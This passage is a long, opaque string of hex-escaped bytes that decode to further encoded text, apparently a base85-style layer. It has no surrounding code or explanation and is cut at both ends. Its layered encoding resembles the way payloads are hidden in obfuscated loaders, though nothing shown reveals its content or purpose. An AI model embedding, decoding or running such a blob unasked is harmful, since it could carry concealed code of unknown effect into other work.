x68\x3f\x54\x41\x54\x63\x3b\x4c\x45\x46\x64\x5e\x46\x45\x46\x64\x2a\x41\x45\x46\x64\x76\x33\x47\x25\x4f\x25\x45\x49\x56\x3e\x50\x43\x49\x58\x35\x67\x49\x46\x2a\x37\x28\x55\x41\x54\x6c\x3b\x41\x41\x54\x6c\x26\x49\x45\x46\x64\x2a\x41\x45\x46\x64\x76\x43\x46\x29\x53\x63\x36\x47\x25\x4f\x25\x41\x49\x56\x3e\x50\x43\x48\x23\x49\x43\x45\x46\x2a\x21\x39\x58\x41\x54\x3d\x7b\x41\x41\x55\x48\x38\x42\x41\x54\x63\x76\x46\x45\x46\x64\x79\x38\x49\x34\x6d\x47\x42\x48\x61\x30\x39\x45\x47\x63\x71\x68\x37\x46\x2a\x59\x5f\x56\x41\x54\x63\x3e\x4f\x45\x46\x64\x79\x38\x46\x29\x53\x63\x39\x45\x46\x64\x26\x41\x45\x46\x64\x76\x38\x47\x62\x7c\x75\x37\x47\x42\x7a\x77\x41\x47\x42\x47\x68\x4d\x41\x54\x75\x26\x37\x41\x54\x63\x76\x43\x45\x46\x64\x5e\x46\x45\x46\x64\x72\x7d\x41\x54\x63\x73\x35\x41\x54\x63\x73\x43\x45\x46\x64\x76\x42\x45\x46\x64\x76\x41\x48\x59\x5e\x7d\x41\x46\x2a\x47\x62\x37\x48\x23\x52\x49\x46\x47\x42\x50\x7a\x52\x41\x54\x6c\x79\x41\x45\x46\x64\x26\x45\x45\x46\x64\x7b\x49\x45\x46\x64\x76\x36\x45\x46\x64\x76\x43\x45\x46\x64\x79\x39\x47\x62\x7c\x75\x36\x47\x26\x4c\x2b\x42\x46\x29\x3d\x65\x4e\x41\x54\x63\x23\x4b\x45\x46\x64\x76\x41\x45\x46\x64\x76\x39\x47\x25\x4f\x25\x39\x48\x37\x70\x3d\x42\x48\x21\x4c\x37\x41\x48\x23\x30\x30\x43\x47\x42\x59\x74\x4f\x41\x54\x25\x2a\x37\x41\x55\x48\x54\x49\x41\x54\x6c\x23\x4a\x45\x46\x64\x79\x36\x46\x66\x31\x54\x33\x49\x35\x61\x46\x45\x46\x29\x7d\x6e\x50\x41\x54\x6c\x2a\x45\x45\x46\x64\x79\x36\x48\x37\x70\x3d\x39\x47\x26\x43\x24\x41\x47\x63\x68\x62\x36\x46\x2a\x71\x7a\x42\x46\x2a\x72\x46\x61\x41\x54\x63\x2a\x46\x45\x46\x64\x76\x36\x47\x62\x7c\x75\x45\x49\x34\x6d\x47\x42\x47\x63\x71\x68\x37\x49\x35\x6a\x4c\x46\x47\x62\x7c\x75\x44\x49\x34\x6d\x47\x42\x47\x42\x59\x65\x37\x46\x2a\x71\x7a\x42\x46\x2a\x71\x7c\x55\x41\x54\x6c\x76\x45\x45\x46\x64\x3e\x46\x45\x46\x64\x79\x36\x48\x37\x70\x3d\x38\x47\x26\x33\x77\x39\x46\x29\x25\x71\x53\x41\x54\x63\x6d\x45\x45\x46\x64\x76\x36\x45\x46\x64\x76\x43\x45\x46\x64\x79\x39\x46\x29\x53\x63\x34\x49\x57\x73\x49\x45\x46\x29\x53\x63\x34\x48\x38\x3f\x43\x46\x46\x2a\x68\x74\x41\x46\x2a\x59\x24\x51\x41\x54\x63\x70\x44\x45\x46\x64\x76\x37\x45\x46\x64\x76\x36\x48\x21\x4c\x37\x42\x48\x38\x55\x28\x41\x46\x29\x7d\x6e\x50\x41\x54\x7d\x5e\x38\x41\x54\x6c\x73\x41\x45\x46\x64\x76\x43\x48\x21\x4c\x37\x42\x47\x64\x56\x30\x45\x47\x42\x68\x6b\x38\x46\x2a\x7a\x7c\x54\x41\x54\x6c\x26\x4b\x45\x46\x64\x76\x41\x48\x59\x5e\x7d\x45\x47\x62\x7c\x75\x41\x47\x25\x4f\x25\x38\x48\x38\x4c\x7a\x39\x46\x2a\x59\x28\x52\x41\x54\x63\x79\x47\x45\x46\x64\x3e\x45\x45\x46\x64\x76\x39\x46\x66\x31\x54\x34\x46\x66\x31\x54\x37\x45\x46\x64\x76\x33\x47\x41\x74\x6c\x44\x48\x37\x70\x3d\x38\x47\x25\x4f\x25\x38\x47\x42\x68\x6b\x38\x46\x2a\x59\x7a\x50\x41\x55\x38\x48\x46\x41\x54\x6c\x79\x46\x45\x46\x64\x76\x36\x48\x21\x4c\x37\x46\x47\x62\x7c\x75\x36\x46\x66\x75\x47\x34\x46\x2a\x37\x56\x36\x46\x2a\x7a\x28\x43\x47\x42\x71\x28\x51\x41\x54\x63\x79\x49\x45\x46\x64\x7b\x44\x45\x46\x64\x76\x38\x49\x34\x6d\x47\x48\x49\x34\x6d\x47\x42\x48\x38\x6d\x5f\x43\x48\x5a\x76\x3f\x42\x49\x58\x4e\x73\x4b\x46\x2a\x47\x3c\x56\x41\x54\x63\x3b\x48\x45\x46\x64\x76\x41\x45\x46\x64\x79\x38\x45\x46\x64\x79\x35\x46\x29\x53\x63\x34\x47\x26\x6e\x33\x45\x46\x2a\x37\x68\x4d\x41\x54\x7d\x5e\x38\x41\x54\x6c\x26\x49\x45\x46\x64\x79\x38\x49\x34\x6d\x47\x42\x48\x21\x76\x28\x39\x46\x2a\x50\x68\x38\x46\x2a\x71\x7a\x42\x46\x2a\x72\x46\x61\x41\x54\x63\x26\x46\x45\x46\x64\x76\x36\x46\x29\x53\x63\x43\x46\x66\x31\x54\x33\x49\x57\x61\x36\x43\x46\x29\x3d\x65\x4e\x41\x54\x75\x79\x35\x41\x55\x48\x54\x49\x41\x55\x37\x7e\x39\x41\x54\x3d\x7e\x42\x41\x54\x63\x2a\x49\x45\x46\x64\x79\x35\x47\x62\x7c\x75\x38\x47\x25\x4f\x25\x37\x48\x21\x26\x3c\x41\x46\x2a\x69\x33\x58\x41\x54\x63\x70\x42\x45\x46\x64\x26\x37\x45\x46\x64\x7b\x4b\x45\x46\x64\x2a\x43\x45\x46\x64\x79\x36\x48\x37\x70\x3d\x38\x47\x26\x64\x7c\x44\x47\x63\x68\x62\x36\x46\x2a\x50\x5f\x57\x41\x54\x63\x2a\x41\x41\x54\x63\x26\x47\x45\x46\x64\x76\x34\x48\x21\x4c\x37\x41\x47\x25\x4f\x25\x37\x47\x64\x43\x3c\x43\x46\x2a\x68\x7c\x56\x41\x54\x25\x26\x36\x41\x54\x7d\x5e\x38\x41\x54\x6c\x73\x41\x45\x46\x64\x76\x37\x49\x34\x6d\x47\x43\x47\x64\x56\x30\x45\x46\x2a\x37\x56\x36\x46\x2a\x50\x2b\x54\x41\x54\x6c\x79\x47\x45\x46\x64\x76\x42\x47\x25\x4f\x25\x45\x48\x37\x70\x3d\x38\x49\x34\x6d\x47\x42\x49\x35\x7b\x6a\x4a\x47\x42\x71\x28\x51\x41\x54\x63\x73\x48\x45\x46\x64\x3e\x45\x45\x46\x64\x76\x39\x46\x66\x31\x54\x34\x46\x29\x53\x63\x42\x47\x62\x7c\x75\x36\x46\x66\x75\x47\x34\x49\x57\x3b\x55\x47\x49\x57\x61\x36\x43\x46\x2a\x69\x30\x57\x41\x54\x63\x3b\x4b\x45\x46\x64\x76\x33\x47\x25\x4f\x25\x38\x48\x38\x6d\x5f\x43\x47\x42\x47\x24\x54\x41\x55\x38\x32\x41\x41\x54\x63\x2a\x41\x41\x54\x25\x2a\x37\x41\x55\x48\x42\x43\x41\x54\x63\x26\x4d\x45\x46\x64\x79\x34\x47\x25\x4f\x25\x37\x46\x2a\x7a\x28\x43\x46\x2a\x72\x36\x58\x41\x55\x48\x35\x41\x41\x54\x6c\x2a\x49\x45\x46\x64\x76\x33\x48\x59\x5e\x7d\x39\x47\x25\x4f\x25\x37\x47\x64\x43\x3c\x43\x46\x2a\x59\x7c\x57\x41\x54\x25\x3e\x39\x41\x55\x47\x40\x5f\x47\x42\x59\x5f\x57\x41\x54\x63\x79\x49\x45\x46\x64\x76\x39\x46\x66\x31\x54\x34\x47\x25\x4f\x25\x37\x49\x57\x61\x36\x43\x47\x42\x71\x2b\x52\x41\x54\x6c\x23\x44\x45\x46\x64\x3b\x42\x45\x46\x64\x2a\x42\x45\x46\x64\x76\x39\x47\x62\x7c\x75\x36\x48\x21\x26\x3c\x41\x47\x42\x68\x5f\x56\x41\x55\x38\x45\x45\x41\x54\x63\x26\x44\x45\x46\x64\x3e\x46\x45\x46\x64\x26\x32\x41\x54\x63\x6d\x39\x45\x46\x64\x7b\x47\x45\x46\x64\x76\x37\x45\x46\x64\x76\x41\x48\x59\x5e\x7d\x39\x49\x35\x6a\x4c\x46\x46\x29\x25\x62\x4e\x41\x54\x6c\x2a\x46\x45\x46\x64\x76\x37\x47\x41\x74\x6c\x43\x48\x37\x70\x3d\x43\x47\x62\x7c\x75\x41\x48\x37\x70\x3d\x47\x47\x62\x7c\x75\x37\x47\x63\x68\x62\x36\x46\x2a\x68\x5f\x55\x41\x55\x48\x45\x44\x41\x54\x63\x26\x48\x45\x46\x64\x5e\x36\x41\x54\x63\x23\x48\x45\x46\x64\x3b\x42\x45\x46\x64\x2a\x43\x45\x46\x64\x79\x34\x46\x66\x31\x54\x34\x47\x25\x5f\x71\x38\x48\x38\x55\x28\x41\x48\x5a\x55\x77\x38\x47\x42\x37\x65\x4d\x41\x54\x63\x3e\x4a\x45\x46\x64\x79\x37\x48\x59\x5e\x7d\x41\x47\x25\x4f\x25\x37\x49\x57\x61\x36\x43\x47\x42\x69\x30\x58\x41\x54\x63\x2a\x4b\x45\x46\x64\x3b\x48\x45\x46\x64\x76\x42\x45\x46\x64\x76\x42\x49\x56\x3e\x50\x44\x47\x26\x77\x39\x46\x46\x2a\x37\x74\x51\x41\x55\x38\x45\x45\x41\x54\x63\x26\x44\x45\x46\x64\x3e\x42\x45\x46\x64\x7b\x46\x45\x46\x64\x76\x33\x47\x41\x74\x6c\x44\x48\x37\x70\x3d\x38\x46\x29\x53\x63\x34\x49\x34\x7e\x3f\x41\x47\x42\x37\x6b\x4f\x41\x55\x38\x48\x46\x41\x54\x6c\x79\x46\x45\x46\x64\x79\x35\x47\x41\x74\x6c\x41\x47\x41\x74\x6c\x35\x47\x42\x2b\x24\x42\x46\x2a\x37\x56\x36\x46\x2a\x7a\x28\x43\x46\x2a\x59\x7a\x50\x41\x54\x63\x79\x47\x45\x46\x64\x3e\x43\x45\x46\x64\x76\x38\x49\x34\x6d\x47\x42\x48\x21\x4c\x37\x41\x48\x5a\x3f\x33\x44\x47\x63\x5f\x7a\x41\x48\x37\x70\x3d\x38\x48\x23\x30\x30\x43\x47\x42\x59\x74\x4f\x41\x54\x63\x73\x44\x45\x46\x64\x5e\x44\x45\x46\x64\x79\x37\x49\x34\x6d\x47\x43\x47\x42\x37\x4d\x34\x46\x2a\x72\x36\x58\x41\x54\x63\x70\x48\x45\x46\x64\x76\x38\x48\x37\x70\x3d\x39\x47\x42\x7a\x77\x41\x47\x42\x59\x77\x50\x41\x55\x48\x45\x44\x41\x54\x63\x3b\x42\x41\x54\x63\x3b\x4f\x45\x46\x64\x76\x41\x46\x29\x53\x63\x34\x47\x64\x43\x3c\x43\x48\x23\x49\x43\x45\x46\x2a\x59\x7a\x50\x41\x55\x38\x45\x45\x41\x54\x6c\x66\x3c\x46\x29\x7d\x68\x4e\x41\x54\x63\x73\x43\x45\x46\x64\x76\x42\x45\x46\x64\x76\x41\x49\x34\x6d\x47\x43\x46\x2a\x47\x62\x37\x48\x23\x52\x49\x46\x47\x42\x50\x7a\x52\x41\x54\x6c\x76\x42\x45\x46\x64\x2a\x47\x45\x46\x64\x76\x41\x45\x46\x64\x26\x37\x45\x46\x64\x76\x33\x45\x46\x64\x79\x39\x46\x66\x31\x54\x33\x48\x38\x4c\x7a\x39\x47\x42\x47\x53\x35\x46\x2a\x50\x5f\x57\x41\x55\x38\x4e\x48\x41\x54\x63\x23\x47\x45\x46\x64\x79\x42\x45\x46\x64\x26\x38\x45\x46\x64\x76\x37\x48\x21\x4c\x37\x41\x48\x21\x76\x28\x39\x46\x29\x3d\x4a\x34\x48\x5a\x55\x77\x38\x47\x42\x37\x65\x4d\x41\x54\x63\x3e\x4b\x45\x46\x64\x79\x37\x48\x59\x5e\x7d\x41\x47\x25\x4f\x25\x37\x49\x57\x61\x36\x43\x47\x42\x69\x30\x58\x41\x54\x63\x3b\x4b\x45\x46\x64\x3b\x42\x45\x46\x64\x2a\x42\x45\x46\x64\x79\x38\x47\x25\x4f\x25\x38\x47\x26\x77\x39\x46\x46\x2a\x50\x24\x52\x41\x55\x51\x63\x4b\x41\x54\x63\x76\x43\x45\x46\x64\x5e\x46\x45\x46\x64\x72\x7d\x41\x54\x75\x6c\x3d\x46\x29\x7d\x6b\x4f\x41\x54\x63\x3b\x42\x41\x54\x63\x2a\x4b\x45\x46\x64\x76\x36\x48\x37\x70\x3d\x45\x48\x59\x5e\x7d\x41\x47\x42\x71\x71\x39\x47\x42\x50\x6b\x4d\x41\x54\x63\x70\x39\x45\x46\x64\x76\x41\x45\x46\x64\x26\x37\x45\x46\x64\x7b\x44\x45\x46\x64\x79\x39\x48\x37\x70\x3d\x38\x48\x23\x39\x36\x44\x49\x35\x52\x39\x44\x47\x42\x71\x28\x51\x41\x54\x63\x6d\x33\x41\x54\x63\x23\x48\x45\x46\x64\x3b\x42\x45\x46\x64\x2a\x42\x45\x46\x64\x76\x37\x48\x59\x5e\x7d\x39\x48\x61\x49\x4c\x47\x46\x2a\x68\x74\x41\x47\x42\x68\x6b\x38\x47\x42\x37\x77\x53\x41\x54\x63\x3e\x4e\x45\x46\x64\x76\x36\x46\x66\x31\x54\x38\x46\x66\x31\x54\x34\x47\x26\x55\x3f\x43\x47\x42\x71\x3f\x54\x41\x54\x63\x3e\x49\x45\x46\x64\x3b\x42\x45\x46\x64\x2a\x42\x45\x46\x64\x76\x39\x47\x25\x4f\x25\x37\x48\x21\x26\x3c\x41\x47\x42\x59\x2b\x54\x41\x54\x63\x70\x39\x45\x46\x64\x76\x42\x49\x56\x3e\x50\x44\x49\x56\x3e\x50\x47\x49\x34\x6d\x47\x47\x48\x59\x5e\x7d\x42\x46\x29\x53\x63\x43\x47\x25\x4f\x25\x37\x47\x64\x4c\x5f\x44\x46\x2a\x50\x3f\x56\x41\x54\x25\x2a\x37\x41\x54\x63\x26\x45\x45\x46\x64\x76\x41\x48\x21\x4c\x37\x41\x46\x2a\x37\x56\x36\x46\x29\x7d\x6e\x50\x41\x54\x63\x6d\x38\x45\x46\x64\x2a\x43\x45\x46\x64\x79\x38\x48\x21\x4c\x37\x41\x48\x23\x39\x36\x44\x49\x35\x52\x39\x44\x47\x42\x71\x28\x51\x41\x54\x63\x76\x36\x41\x54\x63\x23\x48\x45\x46\x64\x3b\x42\x45\x46\x64\x76\x33\x48\x59\x5e\x7d\x39\x47\x26\x77\x39\x46\x46\x2a\x21\x39\x58\x41\x54\x3d\x7b\x41\x41\x54\x63\x5a\x3b\x47\x42\x47\x74\x51\x41\x54\x6c\x26\x4b\x45\x46\x64\x76\x39\x48\x59\x5e\x7d\x39\x46\x2a\x59\x6e\x39\x46\x2a\x59\x3f\x55\x41\x54\x63\x3e\x4f\x45\x46\x64\x79\x38\x46\x29\x53\x63\x43\x46\x66\x31\x54\x33\x47\x42\x47\x53\x35\x46\x2a\x37\x28\x55\x41\x54\x63\x3e\x4f\x45\x46\x64\x79\x34\x46\x66\x31\x54\x33\x46\x2a\x59\x6e\x39\x46\x2a\x7a\x5f\x53\x41\x54\x63\x70\x42\x45\x46\x64\x23\x35\x45\x46\x64\x76\x33\x45\x46\x64\x76\x39\x45\x46\x64\x2a\x42\x45\x46\x64\x76\x41\x47\x25\x4f\x25\x38\x47\x42\x47\x53\x35\x47\x63\x5f\x7a\x41\x46\x2a\x21\x46\x5a\x41\x54\x63\x79\x4b\x45\x46\x64\x76\x33\x47\x25\x4f\x25\x37\x47\x42\x7a\x77\x41\x46\x2a\x50\x68\x38\x49\x34\x6d\x47\x42\x49\x58\x35\x67\x49\x46\x2a\x37\x28\x55\x41\x55\x38\x42\x44\x41\x54\x6c\x26\x48\x45\x46\x64\x2a\x41\x45\x46\x64\x76\x43\x46\x29\x53\x63\x36\x48\x37\x70\x3d\x47\x48\x21\x4c\x37\x41\x48\x23\x30\x30\x43\x47\x42\x59\x74\x4f\x41\x54\x63\x73\x44\x45\x46\x64\x26\x32\x41\x54\x6c\x23\x4a\x45\x46\x64\x79\x36\x46\x66\x31\x54\x34\x47\x63\x59\x56\x35\x47\x63\x2b\x74\x39\x46\x2a\x50\x2b\x54\x41\x54\x6c\x79\x47\x45\x46\x64\x76\x41\x48\x59\x5e\x7d\x41\x45\x46\x64\x76\x42\x45\x46\x64\x76\x42\x49\x56\x3e\x50\x43\x48\x5a\x76\x3f\x42\x46\x2a\x37\x6b\x4e\x41\x55\x38\x45\x45\x41\x54\x63\x26\x44\x45\x46\x64\x3e\x45\x45\x46\x64\x5e\x41\x45\x46\x64\x76\x33\x47\x41\x74\x6c\x44\x48\x37\x70\x3d\x46\x47\x41\x74\x6c\x36\x47\x43\x33\x3f\x44\x46\x2a\x72\x33\x57\x41\x54\x63\x6d\x42\x45\x46\x64\x79\x39\x47\x41\x74\x6c\x36\x46\x2a\x59\x6e\x39\x46\x29\x3d\x71\x52\x41\x54\x63\x2a\x41\x41\x54\x25\x2a\x37\x41\x55\x51\x42\x42\x41\x54\x63\x2a\x49\x45\x46\x64\x76\x41\x47\x25\x4f\x25\x45\x47\x62\x7c\x75\x37\x48\x38\x33\x6e\x37\x46\x29\x7d\x50\x35\x46\x2a\x50\x2b\x54\x41\x55\x51\x54\x48\x41\x54\x63\x79\x37\x41\x54\x63\x76\x48\x45\x46\x64\x79\x39\x47\x62\x7c\x75\x36\x47\x42\x47\x53\x35\x48\x5a\x55\x77\x38\x47\x42\x37\x65\x4d\x41\x54\x63\x23\x49\x45\x46\x64\x79\x37\x47\x41\x74\x6c\x36\x47\x25\x4f\x25\x37\x49\x57\x61\x36\x43\x46\x2a\x59\x2b\x53\x41\x54\x63\x3b\x4c\x45\x46\x64\x3b\x42\x45\x46\x64\x2a\x42\x45\x46\x64\x76\x39\x46\x66\x31\x54\x34\x48\x38\x4c\x7a\x39\x47\x42\x68\x24\x51\x41\x55\x38\x45\x45\x41\x54\x63\x26\x44\x45\x46\x64\x79\x44\x45\x46\x64\x23\x31\x41\x54\x63\x6d\x39\x45\x46\x64\x7b\x47\x45\x46\x64\x76\x35\x45\x46\x64\x79\x36\x47\x25\x4f\x25\x37\x49\x35\x6a\x4c\x46\x46\x29\x25\x62\x4e\x41\x54\x63\x26\x44\x45\x46\x64\x76\x37\x46\x66\x31\x54\x41\x48\x37\x70\x3d\x43\x47\x62\x7c\x75\x45\x48\x21\x4c\x37\x49\x47\x62\x7c\x75\x37\x46\x29\x25\x44\x33\x46\x2a\x68\x5f\x55\x41\x55\x48\x45\x44\x41\x54\x63\x26\x4a\x45\x46\x64\x5e\x42\x45\x46\x64\x79\x37\x47\x25\x4f\x25\x38\x48\x21\x4c\x37\x44\x47\x41\x74\x6c\x36\x46\x66\x6c\x41\x33\x47\x42\x71\x2b\x52\x41\x54\x63\x70\x38\x45\x46\x64\x3b\x38\x45\x46\x64\x79\x34\x47\x41\x74\x6c\x35\x47\x26\x64\x7c\x44\x46\x2a\x72\x30\x56\x41\x54\x63\x6d\x47\x45\x46\x64\x76\x38\x48\x37\x70\x3d\x39\x47\x42\x7a\x77\x41\x47\x42\x59\x24\x52\x41\x55\x51\x45\x43\x41\x54\x75\x5e\x42\x41\x54\x63\x23\x46\x45\x46\x64\x79\x36\x48\x59\x5e\x7d\x39\x47\x64\x33\x28\x42\x47\x26\x55\x3f\x43\x46\x2a\x37\x6e\x4f\x41\x55\x48\x4b\x46\x41\x55\x37\x2d\x5e\x47\x41\x74\x6c\x35\x47\x42\x59\x65\x37\x46\x2a\x71\x7a\x42\x46\x2a\x69\x30\x57\x41\x54\x6c\x76\x45\x45\x46\x64\x3e\x43\x45\x46\x64\x79\x36\x46\x66\x31\x54\x33\x48\x23\x61\x4f\x47\x46\x29\x3d\x65\x4e\x41\x54\x63\x73\x45\x45\x46\x64\x2a\x37\x45\x46\x64\x2a\x43\x45\x46\x64\x79\x36\x48\x37\x70\x3d\x39\x46\x66\x25\x4d\x35\x47\x42\x68\x6b\x38\x46\x2a\x37\x6e\x4f\x41\x54\x6c\x23\x37\x41\x54\x63\x23\x48\x45\x46\x64\x3b\x42\x45\x46\x64\x2a\x39\x45\x46\x64\x79\x34\x46\x29\x53\x63\x34\x49\x57\x3b\x55\x47\x48\x38\x55\x28\x41\x47\x25\x4f\x25\x38\x46\x2a\x47\x62\x37\x46\x2a\x37\x6e\x4f\x41\x54\x63\x76\x41\x45\x46\x64\x3b\x38\x45\x46\x64\x76\x39\x47\x25\x4f\x25\x37\x48\x5a\x76\x3f\x42\x47\x42\x47\x6e\x4f\x41\x54\x6c\x3e\x42\x41\x54\x25\x5e\x41\x41\x54\x63\x26\x48\x45\x46\x64\x76\x41\x46\x29\x53\x63\x35\x47\x64\x33\x28\x42\x46\x29\x3d\x59\x4c\x41\x54\x63\x3b\x4c\x45\x46\x64\x23\x35\x45\x46\x64\x2a\x46\x45\x46\x64\x3b\x45\x45\x46\x64\x23\x36\x45\x46\x64\x5e\x44\x45\x46\x64\x79\x38\x48\x21\x4c\x37\x41\x49\x35\x6a\x4c\x46\x46\x29\x25\x62\x4e\x41\x54\x6c\x2a\x47\x45\x46\x64\x76\x36\x49\x56\x3e\x50\x43\x46\x2a\x37\x56\x36\x46\x2a\x68\x74\x41\x47\x25\x2b\x6b\x37\x46\x2a\x50\x68\x38\x47\x42\x71\x24\x50\x41\x54\x63\x2a\x49\x45\x46\x64\x5e\x44\x45\x46\x64\x79\x39\x46\x29\x53\x63\x43\x46\x29\x53\x63\x34\x48\x38\x6d\x5f\x43\x48\x5a\x76\x3f\x42\x47\x26\x77\x39\x46\x47\x42\x37\x59\x4b\x41\x54\x63\x3e\x4c\x45\x46\x64\x2a\x41\x45\x46\x64\x75\x7e\x41\x54\x63\x73\x48\x45\x46\x64\x76\x37\x49\x34\x6d\x47\x42\x49\x35\x73\x52\x47\x47\x42\x68\x6b\x38\x46\x2a\x7a\x7c\x54\x41\x54\x63\x2a\x45\x45\x46\x64\x76\x43\x46\x29\x53\x63\x39\x47\x62\x7c\x75\x41\x47\x25\x4f\x25\x37\x48\x5a\x55\x77\x38\x46\x2a\x5a\x30\x58\x41\x54\x6c\x23\x48\x45\x46\x64\x76\x34\x46\x29\x53\x63\x34\x49\x35\x23\x58\x48\x47\x42\x7a\x77\x41\x48\x38\x3f\x43\x46\x49\x35\x61\x46\x45\x46\x29\x7d\x6b\x4f\x41\x54\x63\x3b\x42\x41\x54\x6c\x23\x4a\x45\x46\x64\x76\x36\x46\x29\x53\x63\x41\x48\x59\x5e\x7d\x41\x47\x42\x71\x71\x39\x47\x42\x47\x6e\x4f\x41\x54\x7d\x7e\x41\x41\x54\x63\x2a\x41\x41\x54\x25\x2a\x37\x41\x55\x48\x42\x43\x41\x54\x63\x26\x45\x45\x46\x64\x76\x41\x47\x25\x4f\x25\x45\x47\x62\x7c\x75\x37\x48\x38\x43\x74\x38\x49\x57\x3b\x55\x47\x46\x2a\x50\x2b\x54\x41\x54\x7e\x32\x42\x41\x54\x3d\x7e\x42\x41\x54\x63\x3e\x4e\x45\x46\x64\x76\x43\x48\x37\x70\x3d\x43\x47\x62\x7c\x75\x42\x45\x46\x64\x76\x36\x47\x25\x4f\x25\x37\x47\x63\x71\x68\x37\x46\x2a\x37\x68\x4d\x41\x54\x7d\x5e\x38\x41\x54\x63\x26\x48\x45\x46\x64\x76\x41\x47\x25\x4f\x25\x37\x49\x57\x61\x36\x43\x48\x61\x39\x46\x46\x46\x2a\x71\x7a\x42\x46\x2a\x72\x46\x61\x41\x54\x6c\x26\x4c\x45\x46\x64\x76\x36\x48\x37\x70\x3d\x47\x47\x25\x4f\x25\x37\x47\x63\x71\x68\x37\x49\x35\x6a\x4c\x46\x46\x66\x31\x54\x41\x45\x46\x64\x76\x35\x47\x62\x7c\x75\x36\x49\x34\x6d\x47\x42\x48\x23\x52\x49\x46\x47\x42\x47\x6e\x4f\x41\x55\x38\x48\x46\x41\x54\x6c\x79\x46\x45\x46\x64\x76\x36\x48\x21\x4c\x37\x41\x46\x67\x59\x77\x42\x46\x2a\x68\x74\x41\x47\x25\x2b\x6b\x37\x49\x35\x52\x39\x44\x46\x2a\x59\x7a\x50\x41\x54\x6c\x73\x42\x45\x46\x64\x76\x34\x49\x56\x3e\x50\x43\x49\x35\x73\x52\x47\x46\x29\x3d\x4a\x34\x47\x42\x71\x3f\x54\x41\x54\x25\x3b\x38\x41\x54\x63\x70\x38\x45\x46\x64\x79\x34\x48\x59\x5e\x7d\x39\x48\x5a\x76\x3f\x42\x46\x2a\x68\x74\x41\x47\x42\x68\x6b\x38\x46\x2a\x37\x6b\x4e\x41\x54\x63\x79\x47\x45\x46\x64\x76\x36\x46\x66\x31\x54\x38\x46\x66\x31\x54\x33\x48\x5a\x64\x24\x39\x46\x2a\x68\x3c\x53\x41\x54\x6c\x76\x43\x45\x46\x64\x79\x42\x45\x46\x64\x26\x44\x45\x46\x64\x79\x38\x47\x62\x7c\x75\x36\x49\x58\x45\x6d\x4a\x47\x42\x37\x59\x4b\x41\x54\x75\x7e\x44\x41\x54\x6c\x23\x47\x45\x46\x64\x76\x34\x47\x62\x7c\x75\x38\x46\x66\x31\x54\x35\x45\x46\x64\x3b\x44\x45\x46\x64\x2a\x42\x45\x46\x64\x76\x41\x47\x25\x4f\x25\x38\x47\x42\x37\x4d\x34\x47\x64\x33\x28\x42\x46\x2a\x21\x46\x5a\x41\x54\x63\x79\x4b\x45\x46\x64\x26\x45\x45\x46\x64\x76\x35\x47\x41\x74\x6c\x35\x47\x62\x7c\x75\x36\x49\x56\x3e\x50\x44\x48\x38\x4c\x7a\x39\x46\x2a\x21\x43\x59\x41\x54\x63\x73\x46\x45\x46\x64\x76\x41\x47\x62\x7c\x75\x43\x45\x46\x64\x76\x38\x48\x37\x70\x3d\x44\x47\x62\x7c\x75\x45\x49\x56\x3e\x50\x43\x48\x38\x43\x74\x38\x47\x42\x68\x5f\x56\x41\x54\x63\x2a\x41\x41\x54\x6c\x26\x38\x41\x54\x6c\x76\x44\x45\x46\x64\x76\x38\x46\x29\x53\x63\x34\x47\x63\x59\x56\x35\x48\x5a\x55\x77\x38\x46\x2a\x59\x24\x51\x41\x54\x63\x26\x4c\x45\x46\x64\x79\x35\x47\x62\x7c\x75\x37\x48\x21\x4c\x37\x44\x48\x37\x70\x3d\x38\x48\x61\x39\x46\x46\x47\x42\x50\x28\x54\x41\x54\x6c\x23\x48\x45\x46\x64\x76\x34\x46\x29\x53\x63\x34\x49\x35\x7b\x6a\x4a\x47\x42\x71\x71\x39\x48\x5a\x64\x24\x39\x49\x35\x38\x7c\x42\x46\x29\x7d\x6b\x4f\x41\x54\x63\x3b\x42\x41\x54\x6c\x23\x42\x45\x46\x64\x79\x36\x46\x29\x53\x63\x41\x48\x59\x5e\x7d\x41\x47\x42\x71\x71\x39\x46\x2a\x37\x7a\x53\x41\x54\x26\x38\x46\x41\x54\x63\x26\x39\x41\x54\x3d\x3e\x38\x41\x54\x3e\x32\x43\x41\x54\x6c\x79\x46\x45\x46\x64\x76\x37\x49\x34\x6d\x47\x48\x48\x21\x4c\x37\x41\x48\x38\x3f\x43\x46\x46\x2a\x68\x74\x41\x46\x2a\x59\x3f\x55\x41\x54\x75\x3b\x39\x41\x54\x63\x79\x37\x41\x54\x63\x76\x48\x45\x46\x64\x79\x39\x47\x25\x4f\x25\x37\x47\x42\x47\x53\x35\x48\x5a\x55\x77\x38\x47\x42\x37\x65\x4d\x41\x54\x63\x23\x4a\x45\x46\x64\x76\x42\x49\x34\x6d\x47\x43\x47\x25\x4f\x25\x37\x49\x57\x61\x36\x43\x47\x42\x71\x5f\x55\x41\x54\x63\x3b\x4e\x45\x46\x64\x3b\x42\x45\x46\x64\x2a\x42\x45\x46\x64\x79\x38\x47\x25\x4f\x25\x37\x48\x61\x49\x4c\x47\x47\x42\x59\x2b\x54\x41\x54\x63\x70\x39\x45\x46\x64\x79\x36\x48\x37\x70\x3d\x45\x49\x34\x6d\x47\x46\x49\x34\x6d\x47\x47\x48\x59\x5e\x7d\x45\x49\x34\x6d\x47\x42\x47\x41\x74\x6c\x35\x47\x64\x4c\x5f\x44\x46\x2a\x50\x3f\x56\x41\x54\x75\x26\x37\x41\x54\x6c\x2a\x45\x45\x46\x64\x76\x41\x48\x21\x4c\x37\x41\x46\x2a\x37\x56\x36\x47\x26\x43\x24\x41\x49\x58\x45\x6d\x4a\x48\x38\x6d\x5f\x43\x47\x42\x50\x7a\x52\x41\x54\x63\x3e\x4b\x45\x46\x64\x23\x36\x45\x46\x64\x76\x37\x49\x56\x3e\x50\x47\x47\x62\x7c\x75\x36\x49\x57\x61\x36\x43\x47\x63\x7a\x6e\x38\x46\x29\x25\x56\x4c\x41\x54\x63\x76\x42\x45\x46\x64\x76\x39\x48\x37\x70\x3d\x38\x48\x21\x4c\x37\x42\x47\x25\x4f\x25\x37\x47\x63\x68\x62\x36\x46\x2a\x50\x3c\x55\x41\x54\x63\x76\x45\x45\x46\x64\x76\x33\x45\x46\x64\x76\x38\x48\x37\x70\x3d\x39\x47\x42\x7a\x77\x41\x46\x2a\x72\x30\x56\x41\x55\x51\x45\x43\x41\x54\x63\x3b\x42\x41\x54\x63\x3b\x4f\x45\x46\x64\x79\x39\x48\x37\x70\x3d\x38\x47\x63\x59\x56\x35\x48\x23\x49\x43\x45\x46\x2a\x59\x7a\x50\x41\x54\x6c\x73\x34\x41\x55\x51\x51\x47\x41\x54\x63\x6d\x39\x45\x46\x